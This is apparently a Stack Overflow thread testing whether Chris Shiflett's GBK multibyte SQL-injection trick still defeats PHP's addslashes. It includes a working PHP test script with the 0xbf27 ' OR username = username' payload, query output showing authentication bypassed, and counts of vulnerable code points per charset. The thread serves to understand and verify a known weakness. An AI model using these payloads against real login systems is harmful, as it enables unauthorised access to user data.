6

I know "parameterised queries" is the holy grail. This is not the topic.

There is an old post, that seems to be the reference for all discussions related to sql injections when addslashes is used.

This is the link : http://shiflett.org/blog/2006/jan/addslashes-versus-mysql-real-escape-string

My question is : is this Proof of concept still correct ? I tried to test it but the addslashes seems to be working correctly. Did anyone else actually tried this or everybody is taken it for granted ?

  • I added $db->set_charset("GBK");
  • I used gbk_chinese_ci for db/fields
  • The mysql log shows this query

     SELECT *
            FROM   users
        WHERE  username = '�\' OR username = username /*'
        AND    password = 'guess'
    

    so clearly the trick it's not working

    Update : Please read the question I'm asking. I don't care for best practice, I don't need alternatives, I just need to makes sure this is still valid or not.

    Update : Also I would like to remind this POC works for character sets like GBK, SJIS or BIG5 and everybody seems to forget that. Making the titles sound a bit to scary when saying addslashes is not safe.

    Solution : In my case the mysql version 5.5.9-log is not allowing inline comments that are not finised like /*. If I use -- or # it works.

  • 12
    • still correct when used with addslashes(). go for prepared statements though Commented Feb 27, 2011 at 12:07
    • knittl did you try the injection and works ? Commented Feb 27, 2011 at 12:08
    • 4
      +1 for the extremely rare "how it works" question among thousands "I have a code make it work" ones. You'll never get an answer though. SO folks never ever understand the question they answer :) It's deep in the nature of the site. Commented Feb 27, 2011 at 12:12
    • 6
      @ColShrapnel: So this is your one chance to shine. Instead of downvoting everyone, contribute an in-deep answer for once. Commented Feb 27, 2011 at 12:21
    • 1
      Yes, of course the injection example still valid! Neither the behavior of addslashes nor the GBK encoding have changed. ;) Commented Feb 27, 2011 at 16:29

    2 Answers 2

    8

    It seems working for me.

    mysql:

    mysql> select version();
    +---------------------+
    | version()           |
    +---------------------+
    | 5.0.45-community-nt |
    +---------------------+
    1 row in set (0.00 sec)
    
    mysql> CREATE TABLE users (
        ->     username VARCHAR(32) CHARACTER SET GBK,
        ->     password VARCHAR(32) CHARACTER SET GBK,
        ->     PRIMARY KEY (username)
        -> );
    Query OK, 0 rows affected (0.08 sec)
    
    mysql> insert into users SET username='ewrfg', password='wer44';
    Query OK, 1 row affected (0.02 sec)
    
    mysql> insert into users SET username='ewrfg2', password='wer443';
    Query OK, 1 row affected (0.03 sec)
    
    mysql> insert into users SET username='ewrfg4', password='wer4434';
    Query OK, 1 row affected (0.00 sec)
    

    PHP:

    <pre><?php
    echo "PHP version: ".PHP_VERSION."\n";
    
    mysql_connect();
    mysql_select_db("test");
    mysql_query("SET NAMES GBK");
    
    $_POST['username'] = chr(0xbf).chr(0x27).' OR username = username /*';
    $_POST['password'] = 'guess';
    
    $username = addslashes($_POST['username']);
    $password = addslashes($_POST['password']);
    $sql = "SELECT * FROM  users WHERE  username = '$username' AND password = '$password'";
    $result = mysql_query($sql) or trigger_error(mysql_error().$sql);
    var_dump($username);
    var_dump(mysql_num_rows($result));
    var_dump(mysql_client_encoding());
    
    $username = mysql_real_escape_string($_POST['username']);
    $password = mysql_real_escape_string($_POST['password']);
    $sql = "SELECT * FROM  users WHERE  username = '$username' AND password = '$password'";
    $result = mysql_query($sql) or trigger_error(mysql_error().$sql);
    var_dump($username);
    var_dump(mysql_num_rows($result));
    var_dump(mysql_client_encoding());
    
    mysql_set_charset("GBK");
    $username = mysql_real_escape_string($_POST['username']);
    $password = mysql_real_escape_string($_POST['password']);
    $sql = "SELECT * FROM  users WHERE  username = '$username' AND password = '$password'";
    $result = mysql_query($sql) or trigger_error(mysql_error().$sql);
    var_dump($username);
    var_dump(mysql_num_rows($result));
    var_dump(mysql_client_encoding());
    

    result:

    PHP version: 5.3.3
    string(29) "ї\' OR username = username /*"
    int(3)
    string(6) "latin1"
    string(29) "ї\' OR username = username /*"
    int(3)
    string(6) "latin1"
    string(30) "\ї\' OR username = username /*"
    int(0)
    string(3) "gbk"
    

    Conclusions:

    A second result going to be most surprising for those who chants "you should use mres instead of addslashes!"

    Sign up to request clarification or add additional context in comments.

    19 Comments

    OK, can you tell me your configuration ? mysql / php / os ? Thanks
    @danip yup, just added it. Win.
    It also works for me on MySQL 5.5.4/PHP 5.3.6 on Linux. My DB runs in ANSI mode so I had to replace ` /*` with ` --`
    When is the moment when the hex values get mixed ? If I echo the sql the injection should be visible? OR in the log files ?
    @danip you can see the difference (I've added escaping result to the output). It seems ї\ represents single character in GBK
    |
    3

    For you to get '�\' I'm guessing you used the 0x??5c multi-byte character instead of the 0x??27 multibyte character.

    I got the following results on my server (number of tested code points resulting in successful injections):

    • SJIS: 47/47
    • SJIS-win: 58/58
    • EUC-CN: 0/95
    • CP936: 126/126
    • BIG-5: 89/94
    • EUC-KR: 0/93

    I didn't test MySQL's other available charsets since they weren't available in PHP's mbstring extension, so I had no quick way of determining which multi-byte characters existed in those encodings. I also only tried double-byte characters, so there may be more vulnerable character sets.

    Also, it helps if the table data is in the same encoding that the client is set to. Otherwise, you get "Illegal mix of collations" errors for a lot of the potential code points.

    3 Comments

    This is drivin me crazy! What do 0x27 and 0xBF represent in GBK? Also, I'd like to understand your answer...
    @Raffaele: As Chris Shiflett's article states, 0x27 is a single quote (') in GBK, and 0xBF is ¿. This answer summarizes the results from running through each charset, looking for a valid multibyte string that ends in 0x5c ( \ ), then constructing another multibyte string using the first byte of the previous mbstring + 0x27. This way, when mysql_real_escape_string() adds a backslash in between the 2 bytes, the backslash gets eaten as a new mbstring (0x??5c), leaving an unescaped backslashes (0x27) after it.
    Oops that last sentence should read: ...leaving an unescaped single quote after it.

    Your Answer

    By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

    Start asking to get answers

    Find the answer to your question by asking.

    Ask question

    Explore related questions

    See similar questions with these tags.